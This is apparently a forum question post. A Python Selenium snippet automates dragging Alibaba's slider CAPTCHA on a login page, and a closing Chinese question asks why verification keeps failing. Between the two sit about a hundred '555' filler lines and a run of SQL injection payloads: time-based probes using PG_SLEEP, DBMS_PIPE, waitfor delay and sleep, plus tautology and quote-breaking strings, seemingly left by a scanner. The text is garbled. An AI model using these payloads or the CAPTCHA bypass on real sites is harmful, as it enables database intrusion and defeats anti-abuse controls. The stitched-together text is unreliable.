from selenium.webdriver.common.action_chains import ActionChains
# 滑块验证
def slider(self):
retry_num = 0
while retry_num < 5:
try:
# 却换框架
self.driver.switch_to.default_content()
self.driver.switch_to.frame('alibaba-login-box')
try:
self.driver.switch_to.frame('baxia-dialog-content')
except:
print(f'无需验证, 登录中...')
self.fm_login_submit_click()
return None
# 当前滑块状态
nocaptcha = self.driver.find_element(By.ID, 'nocaptcha')
if nocaptcha.is_displayed():
if '请按住滑块,拖动到最右边' in nocaptcha.text.strip():
slide = self.driver.find_element(By.ID, 'nc_1_n1z')
action = ActionChains(self.driver)
action.click_and_hold(slide)
for x in [10, 20, 30, 40, 50, 40, 30, 20, 10, 0, 0, 0]:
action.move_by_offset(x, 0)
time.sleep(1 / 10)
action.release()
action.perform()
time.sleep(0.5)
nocaptcha = self.driver.find_element(By.ID, 'nocaptcha')
if nocaptcha.is_displayed():
if '验证失败,点击框体重试' in nocaptcha.text.strip():
print(f'滑块验证({retry_num+1})次: {nocaptcha.text.strip()}')
nocaptcha.click()
time.sleep(0.5)
nocaptcha = self.driver.find_element(By.ID, 'nocaptcha')
if not nocaptcha.is_displayed():
print(f'滑块验证({retry_num+1})次: 验证成功, 登录中...')
self.fm_login_submit_click()
return None
except BaseException as e:
print(f'滑块验证({retry_num+1})次: 验证失败, {e}')
retry_num += 1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@R2ibA
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555R8FzfDL4')) OR 190=(SELECT 190 FROM PG_SLEEP(15))--
555YY2BK9Ol') OR 908=(SELECT 908 FROM PG_SLEEP(15))--
555paWigo9V' OR 38=(SELECT 38 FROM PG_SLEEP(15))--
555-1)) OR 47=(SELECT 47 FROM PG_SLEEP(15))--
555-1) OR 434=(SELECT 434 FROM PG_SLEEP(15))--
555-1 OR 687=(SELECT 687 FROM PG_SLEEP(15))--
555avwAUdVQ'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "vAavW1p5"="
-1' OR 5*5=25 or 'OyK9uyBV'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555
一直出现验证失败,点击框体重试(error:7k86hb)。 这个知不知道怎么解决啊?